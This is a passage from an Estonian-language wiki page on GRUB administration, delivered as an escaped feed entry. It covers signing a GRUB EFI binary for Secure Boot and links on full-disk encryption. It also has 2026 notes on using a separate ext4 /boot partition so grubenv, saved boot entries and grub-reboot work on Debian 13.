&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* objcopy signeerimine&lt;br /&gt;
&lt;br /&gt;
 # sbsign --key db.key --cert db.crt --output /boot/efi/EFI/dc/grubx64.efi /boot/efi/EFI/dc/grubx64.efi-objcopy &lt;br /&gt;
 # sbverify --cert db.crt --verbose /boot/efi/EFI/dc/grubx64.efi&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
* http://blog.devork.be/2016/12/encrypted-root-on-debian-with.html&lt;br /&gt;
* https://www.pavelkogan.com/2014/05/23/luks-full-disk-encryption/&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://askubuntu.com/questions/729673/ubuntu-full-disk-encryption-with-encrypted-boot&lt;br /&gt;
* http://dustymabe.com/2015/07/06/encrypting-more-boot-joins-the-party/&lt;br /&gt;
* http://www.pavelkogan.com/2014/05/23/luks-full-disk-encryption/&lt;br /&gt;
* http://blog.attackzero.net/2016/08/full-disk-encryption-fde-including-most.html&lt;br /&gt;
&lt;br /&gt;
===2026 kevad märkused===&lt;br /&gt;
&lt;br /&gt;
Osutub, et oluline on tekitada eraldi partitsioonile ext4 failisüsteem ja monteerida /boot, nt nagu debian v 13 teeb vaikimisi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@debian-13-default-01:~# df -t ext4 -t vfat -h -T&lt;br /&gt;
Filesystem                                   Type  Size  Used Avail Use% Mounted on&lt;br /&gt;
/dev/mapper/debian--13--default--01--vg-root ext4   14G  1.1G   12G   9% /&lt;br /&gt;
/dev/vda2                                    ext4  839M  111M  669M  15% /boot&lt;br /&gt;
/dev/vda1                                    vfat  868M  8.8M  859M   2% /boot/efi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
vastasel juhul ei suuda grub töötada /boot/grub/grubenv failiga. Sõltuvalt grub seadistustest sinna bootimise käigus kirjutatakse.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@debian-13-default-01:~# grep ^GR /etc/default/grub&lt;br /&gt;
GRUB_DEFAULT=saved&lt;br /&gt;
GRUB_TIMEOUT=5&lt;br /&gt;
GRUB_DISTRIBUTOR=`( . /etc/os-release &amp;amp;&amp;amp; echo ${NAME} )`&lt;br /&gt;
GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;&amp;quot;&lt;br /&gt;
GRUB_CMDLINE_LINUX=&amp;quot;&amp;quot;&lt;br /&gt;
GRUB_SAVEDEFAULT=true&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selliselt saab valida järgmise boot valiku (nummerdamine algab nullist)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@debian-13-default-01:~# update-grub&lt;br /&gt;
root@debian-13-default-01:~# grub-reboot 1&lt;br /&gt;
&lt;br /&gt;
root@debian-13-default-01:~# grub-editenv list&lt;br /&gt;
next_entry=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks toodud seadistus kutsub esile sellise grub käitumise, et kui käsitsi midagi valida grub menüüst, siis edaspidi kasutatakse seda ka automaatse valikuna (nn sticky boot).&lt;br /&gt;
&lt;br /&gt;
Seda tarkust hoitakse /boot/grub/grubenv failis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@debian-13-default-01:~# head -n 4 /boot/grub/grubenv&lt;br /&gt;
# GRUB Environment Block&lt;br /&gt;
# WARNING: Do not edit this file by tools other than grub-editenv!!!&lt;br /&gt;
next_entry=0&lt;br /&gt;
saved_entry=gnulinux-advanced-771b5edb-ae3f-486b-92e3-66fff246de36&amp;gt;gnulinux-6.12.86+deb13-amd64-advanced-771b5edb-ae3f-486b-92e3-66fff246de36&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.debian.org/GrubReboot&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://help.ubuntu.com/community/Grub2&lt;br /&gt;
* http://www.gnu.org/software/grub/&lt;br /&gt;
* https://wiki.archlinux.org/index.php/GRUB2&lt;br /&gt;
* http://www.auul.pri.ee/wiki/Operatsioonis%C3%BCsteemi_Debian_GNU/Linux_kasutamine#GPT_kasutamine&lt;br /&gt;
* [[:Tarkvaralise mdadm RAID kasutamine operatsioonisüsteemiga Debian Squeeze]]&lt;br /&gt;
* http://www.supergrubdisk.org/super-grub2-disk/&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
</feed>